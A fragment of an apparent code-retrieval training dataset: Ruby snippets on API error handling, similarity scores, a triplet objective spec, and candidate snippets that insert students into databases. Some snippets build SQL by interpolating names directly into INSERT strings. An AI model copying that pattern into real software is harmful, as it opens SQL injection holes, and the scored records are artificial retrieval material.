"def handleResult(response)\n response = JSON.parse(response, :symbolize_names => true)\n case response[:code]\n when CODE_OK then response[:data]\n when CODE_INVALID_PARAMETERS, CODE_INVALID_API_KEY, CODE_INVALID_METHOD\n raise ArgumentError, response[:message]\n else\n raise StandardError, \"An unknown error ocurrced while handling the response: #{response.to_s}\"\n end\n end",
"def return_wo_response(res)\n resh = JSON.parse(res).transform_keys(&:to_sym)\n case resh[:status]\n when 'ok'\n puts \"State: #{resh[:state].transform_keys(&:to_sym)}}\"\n when 'error'\n puts \"error: #{resh[:response]}\".error, \"State: #{resh[:state].transform_keys(&:to_sym)}}\"\n else\n res\n end\n resh[:status] == 'ok'\n end",
"def parsed_error\n default = %({\"error_description\": \"#{message}\"})\n value = response_value(:body, fallback: default)\n\n JSON.parse(value)\n end",
"def raise_error(api_response)\n error_msg = api_response[RESPONSE_PARAMS.response]\n\n case error_msg\n when %r{Authentication failed. No user with this email address found.}i,\n %r{Authentication failed. Unique API key is not valid for this user.}i,\n %r{This user does not have a valid Spin Rewriter subscription.}i\n raise AuthenticationError, error_msg\n\n when %r{API quota exceeded. You can make \\d+ requests per day.}i\n raise QuotaLimitError, error_msg\n\n when %r{You can only submit entirely new text for analysis once every \\d+ seconds.}i\n raise UsageFrequencyError, error_msg\n\n when %r{Requested action does not exist.}i\n # NOTE: This should never occur unless\n # there is a bug in the API library.\n raise UnknownActionError, error_msg\n\n when %r{Email address and unique API key are both required.}i\n # NOTE: This should never occur unless\n # there is a bug in the API library.\n raise MissingParameterError, error_msg\n\n when %r{Original text too short.}i,\n %r{Original text too long. Text can have up to 4,000 words.}i,\n %r{Original text after analysis too long. Text can have up to 4,000 words.}i,\n %r{\n Spinning syntax invalid.\n With this action you should provide text with existing valid'\n {first option|second option} spintax.\n }ix,\n %r{\n The {first|second} spinning syntax invalid.\n Re-check the syntax, i.e. curly brackets and pipes\\.\n }ix,\n %r{Spinning syntax invalid.}i\n raise ParamValueError, error_msg\n\n when\n %r{Analysis of your text failed. Please inform us about this.}i,\n %r{Synonyms for your text could not be loaded. Please inform us about this.}i,\n %r{Unable to load your new analyzed project.}i,\n %r{Unable to load your existing analyzed project.}i,\n %r{Unable to find your project in the database.}i,\n %r{Unable to load your analyzed project.}i,\n %r{One-Click Rewrite failed.}i\n raise InternalApiError, error_msg\n\n else\n raise UnknownApiError, error_msg\n end # case\n end",
"def default_error req, endpoint, error\n msg = \"= #{error.class}:\\n<b>#{error.message}</b>\\n\\n\"\n msg << error.backtrace\n\n response HTTP_INTERNAL_ERROR, api_html(msg)\n end",
"def return_errors(values)\n error = {\n 'type' => values[:type],\n 'category' => values[:category],\n 'message' => values[:message],\n 'detail_message' => values[:detail_message],\n 'itinerary_id' => values[:itinerary_id],\n 'other_info' => values[:other_info],\n 'error_code' => values[:error_code],\n 'user_message' => values[:user_message]\n }\np error\n {\n 'status' => NOK,\n 'error' => error\n }\n end",
"def api_error(status_code, field_name, field_description)\n endpoint_info[:api_errors] << {\n status_code: status_code,\n response_field_name: field_name,\n response_field_description: field_description\n }\n end",
"def api_response(status, message)\n render :json => {:status => status, :message => message}.to_json, :status => status\n end",
"def format_api_result(value, indent: nil, separator: \"\\n\", html: true)\n record = value.is_a?(Api::Record)\n value = value.body if value.is_a?(Faraday::Response)\n space = html ? ' ' : ' '\n indent = indent.gsub(/[ \\t]/, space) if indent.is_a?(String)\n indent = space * indent if indent.is_a?(Integer)\n lines =\n if record && value.exception.present?\n # === Exception or error response value ===\n value = value.pretty_inspect\n value = mask_later_exceptions(value)\n value.split(/\\n/).map do |line|\n line = \"#{indent}#{line}\" if indent\n line = html_div(line, class: 'exception') if html\n line\n end\n\n elsif record || value.is_a?(Exception) || value.is_a?(String)\n # === Valid JSON response value ===\n value = pretty_format(value)\n value.gsub!(/\\\\\"([^\"\\\\]+?)\\\\\":/, '\\1: ')\n value = ERB::Util.h(value) if html\n value.gsub!(/,([^ ])/, (',' + space + '\\1'))\n value.gsub!(/^( +)/) { |s| s.gsub(/ /, (space * 2)) } if html\n value.gsub!(/^([^:]+:) /, ('\\1' + space))\n value = make_links(value) if html\n value.split(/\\n/).map do |line|\n line = \"#{indent}#{line}\" if indent\n line = html_div(line.html_safe, class: 'data') if html\n line\n end\n\n else\n # === Scalar response value ===\n value = value.pretty_inspect\n value.split(/\\n/).map do |line|\n line = \"#{indent}#{line}\" if indent\n line = html_div(line, class: 'data') if html\n line\n end\n\n end\n html ? safe_join(lines, separator) : lines.join(separator)\n end",
"def failed_message\n Online::OPERATION_FAILED_ADVICES[@data['error_code'].to_i || \"Errore sconosciuto (#{error_code})\"]\n end",
"def four_twenty_two(error)\n json_response(error.message, :unprocessable_entity)\n end",
"def error_message(errors, status)\n render json: { errors: errors }, status: status\n end",
"def build_error(msg, status)\n {\n json: {\n errors: [\n {\n \"status\": Rack::Utils::SYMBOL_TO_STATUS_CODE[status].to_s,\n \"title\": msg,\n \"detail\": msg\n }\n ]\n },\n content_type: 'application/vnd.api+json',\n status: status\n }\n end",
"def operation_error\n (connection.get_operation_result.code == 0) ? nil : connection.get_operation_result\n end",
"def test_service_error_response\n twerr = Twirp::Error.invalid_argument('foo')\n resp = Twirp::Service.error_response(twerr)\n assert_equal 400, resp[0]\n assert_equal 'application/json', resp[1]['Content-Type']\n assert_equal '{\"code\":\"invalid_argument\",\"msg\":\"foo\"}', resp[2][0]\n end",
"def return_w_response(res)\n resh = JSON.parse(res).transform_keys(&:to_sym)\n case resh[:status]\n when 'ok'\n puts \"#{resh[:response].transform_keys(&:to_sym) rescue resh[:response]}\".green\n when 'error'\n puts \"error: #{resh[:response]}\".error, \"State: #{resh[:state].transform_keys(&:to_sym)}}\"\n else\n res\n end\n resh[:status] == 'ok'\n end",
"def four_twenty_two(error)\n json_response({ message: error.message }, :unprocessable_entity)\n end",
"def error\n\t\t{ \n\t\t\terror: { \n\t\t\t\tmessage: self.object[:message],\n\t\t\t\tfield: self.object[:field]\n\t\t\t} \n\t\t}\n\tend",
"def detect\n get\n handle_response_code\n return @retval\n rescue Errno::ECONNREFUSED\n return [\"??? Cannot connect to #{@url}\"]\n rescue Exception => e\n return [\"??? Error: #{e.message}\"]\n end",
"def error_message(response)\n \"#{response.body['error']}: #{response.body['error_description']}\"\n end",
"def message_from(response)\n if not response.has_key?(:ErrInfo)\n return 'Success'\n end\n\n # The ErrInfo key can contain a | separated string of multiple error\n # codes. By default we start at the end and work our way backwards to\n # try and find the highest-level one we can.\n if response[:ErrInfo].index('|')\n error_codes = response[:ErrInfo].split('|')\n else\n error_codes = [response[:ErrInfo]]\n end\n\n error_codes.reverse.each do |code|\n if ERROR_CODES.has_key?(code)\n return ERROR_CODES[code]\n end\n end\n\n \"Error #{error_codes[-1]}\"\n end",
"def error_help(error)\n if error.error_code == 'API_DISABLED_FOR_ORG'\n return \"Your user may have the API enabled user profile perm off, or your user or org may not have Chatter turned on. Check with your administrator\"\n else\n return ''\n end\n end",
"def api_call(method,options={})\n debug(6,:msg=>\"Method\",:var=>method)\n debug(6,:msg=>\"Options\",:var=>options)\n\n obj=json_obj(method,options)\n result=do_request(obj)\n if @returntype==:result\n result[\"result\"]\n else\n result.merge!({:method=>method, :params=>options})\n @returntype.new(result)\n end\n end",
"def results\n return error if error?\n response if response?\n end",
"def check_response_and_return_data(resp)\n status = resp.parsed_response['message']['header']['response']['result']\n return resp.parsed_response['message']['body']['bodyContent'] if\n status == 'SUCCESS'\n c = resp.parsed_response['message']['header']['response']['exceptionID']\n t = resp.parsed_response['message']['header']['response']['reason']\n raise WebexXmlApi::RequestFailed.new(resp), \"Error #{c}: #{t}\"\n end",
"def check_error(json)\n if json[\"nyplAPI\"][\"response\"][\"headers\"][\"status\"] == \"error\"\n msg = \"NYPL Repo API Error: \" + json[\"nyplAPI\"][\"response\"][\"headers\"][\"code\"] + \" \"+ json[\"nyplAPI\"][\"response\"][\"headers\"][\"message\"]\n raise msg\n end\n\n end",
"def error_msg(code=ErrorCodes::INTERNAL_SERVER_ERROR, detail=\"Unspecified error\", errors = nil, data = nil)\n @response[:errors] = {\n code: code[:code],\n detail: detail,\n errors: errors,\n data: data\n }\n end",
"def check_for_errors\n info = MultiJson.load(self.body).first\n\n if info['result'] && info['result'] != 0\n if info['result'] == 500\n raise Webceo::Api::ServerError.new(self.status.to_i, self.body)\n else\n raise Webceo::Api::ClientError.new(self.status.to_i, self.body)\n end\n end\n end",
"def execute!(*params)\n result = self.execute(*params)\n status, _, _ = result.response\n if result.data.respond_to?(:error) &&\n result.data.error.respond_to?(:message)\n # You're going to get a terrible error message if the response isn't\n # parsed successfully as an error.\n error_message = result.data.error.message\n elsif result.data['error'] && result.data['error']['message']\n error_message = result.data['error']['message']\n end\n if status >= 400 && status < 500\n raise ClientError,\n error_message || \"A client error has occurred.\"\n elsif status >= 500 && status < 600\n raise ServerError,\n error_message || \"A server error has occurred.\"\n elsif status > 600\n raise TransmissionError,\n error_message || \"A transmission error has occurred.\"\n end\n return result\n end",
"def api_error(xml) #:nodoc:\r\n if xml.nil?\r\n res = TruveoResponse.new\r\n res.error_code = '69'\r\n res.error_text = 'bad xml'\r\n return res\r\n end\r\n #<?xml version='1.0' encoding='UTF-8'?><Response><Error Code='14'>Access Denied: invalid appid.</Error></Response>\r\n if elt = xml.elements['//Error']\r\n res = TruveoResponse.new\r\n res.error_code = elt.attributes[\"Code\"]\r\n res.error_text = elt.text\r\n return res\r\n end\r\n nil\r\n end",
"def default_validation_error req, endpoint, error\n response HTTP_INVALID, api_html(error.to_markup)\n end",
"def failure\n {:response=>:failure}\n end",
"def message\n \"Telphin returned an error #{@error_code}: '#{@error_msg}'\"\n end",
"def error(response)\n ChefAPI::Log.info \"Parsing response as error...\"\n\n case response[\"Content-Type\"]\n when /json/\n ChefAPI::Log.debug \"Detected error response as JSON\"\n ChefAPI::Log.debug \"Parsing error response as JSON\"\n message = JSON.parse(response.body)\n else\n ChefAPI::Log.debug \"Detected response as text/plain\"\n message = response.body\n end\n\n case response.code.to_i\n when 400\n raise Error::HTTPBadRequest.new(message: message)\n when 401\n raise Error::HTTPUnauthorizedRequest.new(message: message)\n when 403\n raise Error::HTTPForbiddenRequest.new(message: message)\n when 404\n raise Error::HTTPNotFound.new(message: message)\n when 405\n raise Error::HTTPMethodNotAllowed.new(message: message)\n when 406\n raise Error::HTTPNotAcceptable.new(message: message)\n when 504\n raise Error::HTTPGatewayTimeout.new(message: message)\n when 500..600\n raise Error::HTTPServerUnavailable.new\n else\n raise \"I got an error #{response.code} that I don't know how to handle!\"\n end\n end",
"def status_from_result(result)\n return :failed if result.nil?\n\n if result.include?(:error) && !result[:error].nil?\n return :timed_out if result[:error].is_a?(BawAudioTools::Exceptions::AudioToolTimedOutError)\n\n return :failed\n end\n\n :successful\n end",
"def throw_error(error)\n render json: error, status: :bad_request\n end",
"def parse_response\n @api_method = @api_response.env[:method]\n @api_url = @api_response.env[:url].to_s\n @api_status = @api_response.status\n @api_message = 'undef'\n @api_request_id = 'undef'\n\n unless @api_response.body.empty?\n begin\n parsed = JSON.parse(@api_response.body, symbolize_names: true)\n @api_message = parsed[:message]\n @api_request_id = parsed[:requestId]\n rescue JSON::ParserError\n # We fail silently as defaults have been set\n end\n end\n end",
"def four_twenty_two(error)\n json_response({ errors: error }, :unprocessable_entity)\n end"
] |
[
"0.7173268",
"0.71133566",
"0.68809557",
"0.67210096",
"0.6677097",
"0.6670403",
"0.65865827",
"0.65618634",
"0.6511677",
"0.6426993",
"0.6383295",
"0.62967086",
"0.626718",
"0.6226124",
"0.62238413",
"0.62138695",
"0.62101936",
"0.6194562",
"0.6176406",
"0.61540496",
"0.61527354",
"0.6141794",
"0.6131743",
"0.6104369",
"0.609886",
"0.6051306",
"0.6049459",
"0.6044631",
"0.6029907",
"0.60261524",
"0.6004646",
"0.59985226",
"0.5984666",
"0.59834665",
"0.59688044",
"0.5966303",
"0.5963419",
"0.5963419",
"0.5940313",
"0.5938076",
"0.59286284",
"0.59282696",
"0.59211314",
"0.5909228",
"0.5878743",
"0.58677924",
"0.58643675",
"0.5858727",
"0.58548546",
"0.58523095",
"0.58450425",
"0.58395946",
"0.5837928",
"0.58371997",
"0.58304685",
"0.5822697",
"0.58217615",
"0.5820563",
"0.5812419",
"0.58073974",
"0.5806265",
"0.5800816",
"0.5795567",
"0.57952034",
"0.57897854",
"0.57894063",
"0.5783154",
"0.5778616",
"0.57634133",
"0.5760353",
"0.5751835",
"0.57480204",
"0.574645",
"0.57417166",
"0.57304627",
"0.5729422",
"0.57244104",
"0.5722728",
"0.5715158",
"0.57116157",
"0.57108116",
"0.57103676",
"0.5707204",
"0.57030445",
"0.5701134",
"0.5700557",
"0.57003623",
"0.5694991",
"0.5694755",
"0.5692237",
"0.56903905",
"0.56891894",
"0.5685825",
"0.5682785",
"0.56805676",
"0.5680293",
"0.5679407",
"0.5678491",
"0.5668899",
"0.5666486",
"0.56622994"
] |
0.0
|
-1
|
add a new student to the Students table
|
def create
@student = Student.new(student_params)
#set foreign key to match session id
@student.user_id = session[:user_id]
if @student.save
#Need a success flash notice here
puts "student was saved"
else
#Need to create a flash error here
puts "not saved :("
end
redirect_to '/class-attendance/students'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n Student.conn.exec('INSERT INTO students (name, age, spirit_animal, squad_id) values ($1,$2,$3,$4)', [ name, age, spirit_animal, squad_id])\n end",
"def addStudent(studentId, fName, lName)\n @studentOne = Student.new(studentId, fName, lName)\n end",
"def add_student(new_student)\n @students << new_student\n end",
"def add_student( student )\n CourseRegistration.create :user_id => student.id, :course_id => self.id\n end",
"def add_student(student, school)\t\t\t\t\t\t\t\t\t\t\t\t#ci. create method to add stuents\n\tschool[:students].push({:name=>student})\nend",
"def add_student(student)\n @students << student\n end",
"def add_student(student)\n @student << student\n end",
"def add_student(database, name)\r\n\tdatabase.execute(\"INSERT INTO students (name) VALUES (?)\", [name])\r\nend",
"def add_student=(student_id)\n return unless student_id.present?\n students << Student.find(student_id)\n end",
"def new_student (db, name)\n db.execute(\"INSERT INTO student (name) VALUES (?)\", [name])\nend",
"def create\n @student = Student.new(params[:student])\n @student.save\n end",
"def create_student(db, name, address, age, program)\n\tdb.execute(\"INSERT INTO school (name, address, age, program) VALUES (?, ?, ?, ?)\", [name, address, age, program])\nend",
"def add_student(student_name, student_grade)\n\t\tSCHOOL[:students] << {:name => student_name, :grade => student_grade}\n\tend",
"def addstudent(name, grade, semester)\n\t\[email protected](:name=>name, :grade=>grade, :semester=>semester)\n\tend",
"def add_student(name, grade, semester)\n\t\tstudents.push(Student.new(name, grade, semester))\n\tend",
"def add_student(school, new_student_name, new_student_grade, new_student_semester)\n school[:students].push(:name => new_student_name, \n :grade => new_student_grade, :semester => new_student_semester)\nend",
"def add_teacher(first, last, campus, veracross, email)\n puts(\"Adding #{first} #{last} #{campus} #{veracross} #{email}\")\n Student.create(\n first_name: first,\n last_name: last,\n campus: campus,\n veracross_id: veracross,\n email: email,\n teacher: true\n )\nend",
"def add_student(first_name, last_name, birthdate)\n @conn.exec(\"INSERT INTO students (first_name, last_name, birthdate) VALUES ('#{first_name}', '#{last_name}', '#{birthdate}');\")\nend",
"def add_student(first_name, last_name, birthdate)\n @conn.exec(\"INSERT INTO students (first_name, last_name, birthdate) VALUES ('#{first_name}', '#{last_name}', '#{birthdate}');\")\nend",
"def add_student(first_name, last_name, birthdate)\n @conn.exec(\"INSERT INTO students_db (first_name, last_name, birthday) VALUES ('#{first_name}', '#{last_name}', '#{last_name}', '#{birthdate}');\")\nend",
"def add_new_student(school, name)\n\tschool[:students].push({:name => name})\nend",
"def add_student(first_name, last_name,birthdate)\n @conn.exec(\"INSERT INTO students (first_name, last_name, birthdate) VALUES ('#{first_name}', '#{last_name}', '#{birthdate}');\")\nend",
"def add_student(name, grade, semester)\n\t\tstudents.push( {:name => name, :grade => grade, :semester => semester} )\n\tend",
"def add_student(person)\n c = CoursePerson.new type: \"student\"\n c.person = person\n self.course_person << c\n self.save \n end",
"def create_students (db, name, essay_1, essay_2, midterm_1, midterm_2)\n\tdb.execute(\"INSERT INTO students (name, essay_1, essay_2, midterm_1, midterm_2) VALUES (?, ?, ?, ?, ?)\", [name, essay_1, essay_2, midterm_1, midterm_2])\nend",
"def create_new_student(student_name)\n object = controller_create(:student)\n fail format(\"Student '%s' not created.\", student_name) if object.nil?\n\n PrcLib.info(format(\"'student': '%s' created with id %s\",\n student_name,\n object[:id]))\n object\n end",
"def add_student\n course_id = params[:course_id]\n requires({'role' => ['admin','faculty'],'course_id'=>course_id})\n first = params[:first]\n last = params[:last]\n email = params[:email]\n role = params[:role]\n \n \n course = Course.find(course_id)\n\n student = User.find_by_email(email)\n unless student\n student = create_and_invite_user(first, last, email, 'student')\n end\n\n unless student\n render :text => 'Error adding student.'\n else\n if role == 'student'\n StudentInCourse.create(:user_id => student.id, :course_id => course.id)\n render :text => 'Student added successfully.'\n elsif role == 'ta'\n TaForCourse.create(:user_id => student.id, :course_id => course.id)\n render :text => 'TA added successfully.'\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n if @student.save\n flash[:success] = \"Aluno criado com sucesso\"\n redirect_to student_path(@student)\n else\n flash[:error] = \"Não foi possível criar o aluno\"\n redirect_to students_path\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n\n #-CONNECT THE SCHOOL AND THE STUDENT IF @school IS PRESENT\n @student.schools << @school if @school\n\n format.html { redirect_to school_student_path(@student.school,@student), notice: 'Student creation successful.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_user.students.create(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Registro Exitoso.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_student_to_course(student_id, name, email)\n if Student.find_by_email(email)\n student = Student.find_by_email(email)\n else\n student = Student.new\n student.email = email\n student.student_id = student_id\n student.name = name\n student.university = Faculty.find(faculty_id).university\n end\n\n if self.surveys.count > 0\n add_student_to_course_surveys(student)\n end\n\n self.students << student\nend",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: '生徒情報が追加されました' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_student\n @student = nil\n @portal_clazz = Portal::Clazz.find(params[:id])\n\n if params[:student_id] && (!params[:student_id].empty?)\n @student = Portal::Student.find(params[:student_id])\n end\n if @student\n @student.add_clazz(@portal_clazz)\n @portal_clazz.reload\n render :update do |page|\n page.replace_html 'students_listing', :partial => 'portal/students/table_for_clazz', :locals => {:portal_clazz => @portal_clazz}\n page.visual_effect :highlight, 'students_listing'\n page.replace_html 'student_add_dropdown', @template.student_add_dropdown(@portal_clazz)\n end\n else\n render :update do |page|\n # previous message was \"that was a total failure\"\n # this case should not happen, but if it does, display something\n # more friendly such as:\n # page << \"$('flash').update('Please elect a user from the list before clicking add button.')\"\n end\n end\n end",
"def create\n# @student = Student.new(params[:student])\n @student = Student.new(student_params)\n if @student.save\n redirect_to new_student_path\n end\n end",
"def addstudent(student, grade, semester, school)\n school[:students] << {name: student, grade: grade, semester: semester} \nend",
"def adding_students\n if params[:students_id] == nil\n session[:error] =\"You have to select one or more students.\"\n hasError = 1\n else\n params[:students_id].each{|t|\n student_aux =Student.find(t)\n @student_class.students << student_aux\n }\n end \n end",
"def add_grade(database, student_id, subject_id, grade)\r\n\tdatabase.execute(\"INSERT INTO grades (grade, student_id, subject_id) VALUES (?, ?, ?)\", [grade, student_id, subject_id])\r\nend",
"def create\n @student = Student.new(student_params)\n if @student.save\n flash[:success] = \"Student Created!\"\n redirect_to @student\n else\n render 'new'\n end\n end",
"def create\n \n answer = Student.createNew(params[:student])\n redirect_to teachers_path, notice: \"Student wasn't created! Please bind at least one teacher to class #{gcl} before.\" unless answer\n\n redirect_to \"/gclasses/#{Gclass.where(:gclass=>params[:student][:gclass]).first.id}\", notice: \"Student was successfully created.\"\n end",
"def create\n @student = Student.new(student_params)\n if @student.save\n flash[:success] = \"Student was successfully created...\"\n redirect_to student_path(@student)\n else\n render 'new'\n end\n end",
"def enroll(new_student)\n @students.push(new_student)\n end",
"def create\n @student = current_user.students.build(student_params)\n # @student = Student.new(student_params)\n # @student.user_id = current_user.id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to admissions_url, success: 'Student record was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t#for each student, create student params\n\t\t@student = Student.create!(student_params)\n\t\t#once created, go back to students path\n\t\tredirect_to students_path\n\t#wrap up \"create\" action\n\tend",
"def save\n sql = <<-SQL\n INSERT INTO students (name, grade) \n VALUES (?, ?)\n SQL\n \n DB[:conn].execute(sql, self.name, self.grade)\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM students\")[0][0]\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n # Add the course just created to this student's courses, better use the drop down list \n if params[:course] != nil then\n @student.courses << Course.find(params[:course][:id])\n end\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_student_name(name)\n @student_names << name\n end",
"def create\n @student = @school.students.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to manage_school_school_path(@school), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n sql = <<-SQL\n INSERT INTO students (name, grade) VALUES (?, ?)\n SQL\n\n DB[:conn].execute(sql, @name, @grade)\n @id = DB[:conn].execute('SELECT last_insert_rowid() FROM students')[0][0]\n self\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_url, notice: 'Student was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @student = current_user.students.build(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to root_url, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n relate_with_courses\n format.html { redirect_to admin_student_path(@student), notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def save\n sql = <<-SQL\n INSERT INTO students (name,grade)\n VALUES (?,?)\n SQL\n DB[:conn].execute(sql,self.name,self.grade)\n @id = DB[:conn].execute(\n \"SELECT last_insert_rowid() FROM students\")[0][0]\n end",
"def save\n if self.id\n self.update\n else\n sql = <<-SQL\n INSERT INTO students (name, grade)\n VALUES (?, ?)\n SQL\n DB[:conn].execute(sql, self.name, self.grade)\n # This method also assigns the id attribute of the object once the row has\n # been inserted into the database.\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM students\")[0][0]\n end\n end",
"def create\n\t\t@student = Student.new(student_params)\n\t\tif @student.save\n\t\t\tredirect_to @student\n\t\telse\n\t\t\trender 'new'\n\t\tend\n\tend",
"def create_new_student(hParams)\n user = hParams[:student_name].split(' ')\n\n controller_data = {}\n unless hParams.exist?(:first_name)\n if user.length == 1\n controller_data[:first_name] = 'unknown first name'\n else\n controller_data[:first_name] = user[0..-2].join(' ')\n end\n end\n controller_data[:last_name] = user[-1] unless hParams.exist?(:last_name)\n\n student = controller_create(:student, controller_data)\n\n process_fail format(\"Student '%s' not created.\",\n hParams[:student_name]) if student.nil?\n\n PrcLib.info(format(\"'student': '%s' created with id %s\",\n hParams[:student_name],\n student[:id]))\n student\n end",
"def new_student(name, email)\n #code here\n @students.push({name: name, email: email})\nend",
"def save\n sql = <<-SQL\n INSERT INTO students (name, grade)\n VALUES (?, ?)\n SQL\n\n DB[:conn].execute(sql, self.name, self.grade)\n\n @id = DB[:conn].execute(\"SELECT last_insert_rowid() FROM students\")[0][0]\n end",
"def insert\n \n attributes = []\n instance_variables.each do |i|\n attributes << i.to_s.delete(\"@\") if (i != :@id && i != :@table)\n end\n \n values = []\n attributes.each do |a|\n value = self.send(a)\n \n if value.is_a?(Integer)\n values << \"#{value}\"\n else values << \"'#{value}'\"\n end\n end\n \n DATABASE.execute(\"INSERT INTO students (#{attributes.join(\", \")}) \n VALUES (#{values.join(\", \")})\")\n @id = DATABASE.last_insert_row_id\n\n end",
"def create\n @student = Student.new(params[:student])\n @student.idSchool = current_user.teacher.idSchool \n\n respond_to do |format|\n if @student.save\n StdTeacher.create(idStd: @student.id, idTeacher: current_user.teacher.id, idGroup: @student.idGroup)\n format.html { redirect_to students_path, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = current_district.students.build(params[:student])\n\n respond_to do |format|\n if @student.save\n flash[:notice] = \"#{edit_obj_link(@student)} was successfully created.\".html_safe\n format.html { redirect_to(index_url_with_page) }\n else\n format.html { render :action => \"new\" }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n @schools_students = SchoolsStudent.new\n @schools_students.student_id = @student.id\n @schools_students.school_id = params[:school_id]\n @schools_students.save!\n\n @contract = Contract.new\n @contract.student_id = @student.id\n @contract.save!\n\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @student }\n else\n format.html { render action: 'new' }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.create!(student_params)\n session[:student_id] = @student_id\n redirect_to students_path, notice: 'Hi, #{@student.name}. Welcome to the Bueller System.'\n end",
"def create\n\n @student = Student.new(params[:student])\n #@student.account = params[:account]\n @student.password = [*'0'..'9'].sample(6).join\n @student.student_admin_id = session[:teacher_id]\n @student.student_picture = 'http://procket.oss-cn-hangzhou.aliyuncs.com/Picture/2014/07/07/BD7E9798-4DE6-408A-A75C-66199598AF72'\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to students_path, alert: '学员增加成功！' }\n else\n format.html { render action: 'new' }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student,\n notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors,\n status: :unprocessable_entity }\n end\n end\n end",
"def add_new_school(db, name)\n db.execute(\"INSERT INTO school (name) VALUES (?)\", [name])\nend",
"def add_to_test(test, student_first, student_last, grade)\n db.execute(\"INSERT INTO #{test} (student_first, student_last, grade) VALUES (?, ?, ?);\", [student_first, student_last, grade])\nend",
"def save_students\n\t\tif @students.blank? \n\t\t\t\t\n\t\telse\n\t\t\[email protected] do |student_id|\n\t\t\t\tHasStudent.create(student_id: student_id, course_id: self.id)\n\t\t\tend\n\t\tend\n\tend",
"def enroll(new_student) \n @students.push(new_student) \n end",
"def create\n\t\tp = params[:student]\n\t\thash = { :original_name => p['original_name'], :sort_name => Student.make_sort_name(p['original_name']), :other_name => p['other_name'],\n\t\t\t:gender => p['gender'] == 'Male' ? 'M' : 'F', :born => VagueDate.factory(p['born']).to_s, :died => VagueDate.factory(p['died']).to_s,\n\t\t\t:home_town => p['home_town']['town'], :home_state => p['home_town']['state'], :home_country => p['home_town']['country'],\n\t\t\t:biographical_notes => p['biographical_notes'], :quotes => p['quotes'], :additional_notes => p['additional_notes'], :private_notes => p['private_notes'], :is_stub => 0\n\t\t}\n\n\t\t@student = Student.new(hash)\n\t\[email protected]_unique_name()\n\n\t\trespond_to do |format|\n\t\t\tif @student.save\n\t\t\t\tmarriages = parse_array(p['marriage'])\n\t\t\t\tmarriages.each {|marriage|\n\t\t\t\t\tif !marriage['name'].blank?\n\t\t\t\t\t\tMarriage.create_marriage(@student, { :name => marriage['name'] }, marriage['date'])\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tresidences = parse_array(p['residence'])\n\t\t\t\tresidences.each {|residence|\n\t\t\t\t\tif !residence.blank?\n\t\t\t\t\t\tStudentResidence.create_residence(@student, residence)\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t\tBrowse.student_changed(@student, nil)\n\t\t\t\tsolr().add_object(@student.to_solr())\n\n\t\t\t\tformat.html { redirect_to(@student, :notice => 'The student was successfully created.') }\n\t\t\telse\n\t\t\t\tformat.html {\n\t\t\t\t\t@page_title = 'Student'\n\t\t\t\t\tnew_setup()\n\t\t\t\t\trender :action => \"new\"\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\tend",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
